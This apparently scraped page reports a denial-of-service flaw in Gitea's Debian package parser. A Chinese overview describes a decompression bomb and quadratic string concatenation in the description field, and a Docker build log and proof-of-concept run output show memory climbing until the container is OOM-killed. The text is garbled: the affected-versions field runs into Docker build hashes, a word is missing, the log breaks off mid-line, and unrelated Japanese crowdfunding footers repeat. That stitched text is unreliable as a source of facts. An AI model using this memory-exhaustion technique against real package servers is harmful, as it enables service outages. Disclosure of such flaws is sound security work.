Debian Package Parser DoS via O(N^2) String Concatenation and Memory Exhaustion PoC

漏洞概述 该漏洞涉及在 Debian 包上传过程中，由于 O(N^2) 字符串拼接导致的 CPU 和内存耗尽。具体而言，当处理上传的 .deb 文件时，解析器会解压控制文件（control.tar.gz），并将解压后的流复制到 中。由于 DEFLATE 压缩可以达到 100:1 的比率，攻击者可以创建一个 83 MB 的 .deb 文件，解压后超过 16 GB，耗尽服务器内存。此外，描述字段中的续行拼接会导致 O(N^2) 的分配和复制工作，进一步耗尽 CPU 和内存。 影响范围 受影响版本： aaf4d0a765c2 Step 2/7 : WORKDIR /src ---> Using cache ---> d052a8ff3465 Step 3/7 : COPY . . ---> Using cache ---> 4ca57b76d889 Step 4/7 : RUN go build -o /poc /cmd/poc ---> Using cache ---> 28847c0b5d9e Step 5/7 : FROM debian:bookworm-slim ---> 7f5f5c0e0d12 Step 6/7 : COPY --from=builder /poc /poc ---> Using cache ---> d7092200df48 Step 7/7 : ENTRYPOINT ["/poc"] ---> Using cache ---> 0237faad561 Successfully built 0237faad561 Successfully tagged gitea-debian-poc:latest === Running PoC (memory limit: 12 GB) === The container will be OOM-killed once memory is exhausted. === Gitea Debian Parser - Decompression Bomb PoC === Target uncompressed control file size: 16.1 GB Container memory limit: 12 GB [phase 1] Generating control.tar.gz (compressed payload)... Streaming 3222225458 lines (16.1 GB) through gzip... [mem] HeapAlloc=0.04 GB Sys=0.08 GB TotalAlloc=0.05 GB 10% (2.1s) 21% (3.9s) [mem] HeapAlloc=0.07 GB Sys=0.11 GB TotalAlloc=0.08 GB 47% (5.8s) [mem] HeapAlloc=0.11 GB Sys=0.19 GB TotalAlloc=0.15 GB 62% (7.4s) [mem] HeapAlloc=0.15 GB Sys=0.18 GB TotalAlloc=0.15 GB 78% (9.0s) [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB Done in 10.1fs [phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)... Memory will grow until the container is OOM-killed. [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.21 GB Sys=0.31 GB Total

目標達成すべての支援者に感謝 — 100%達成しました！

Debian Package Parser DoS via O(N^2) String Concatenation and Memory Exhaustion PoC

このソースからの他の記事

目標達成 すべての支援者に感謝 — 100%達成しました！

Debian Package Parser DoS via O(N^2) String Concatenation and Memory Exhaustion PoC

このソースからの他の記事

目標達成すべての支援者に感謝 — 100%達成しました！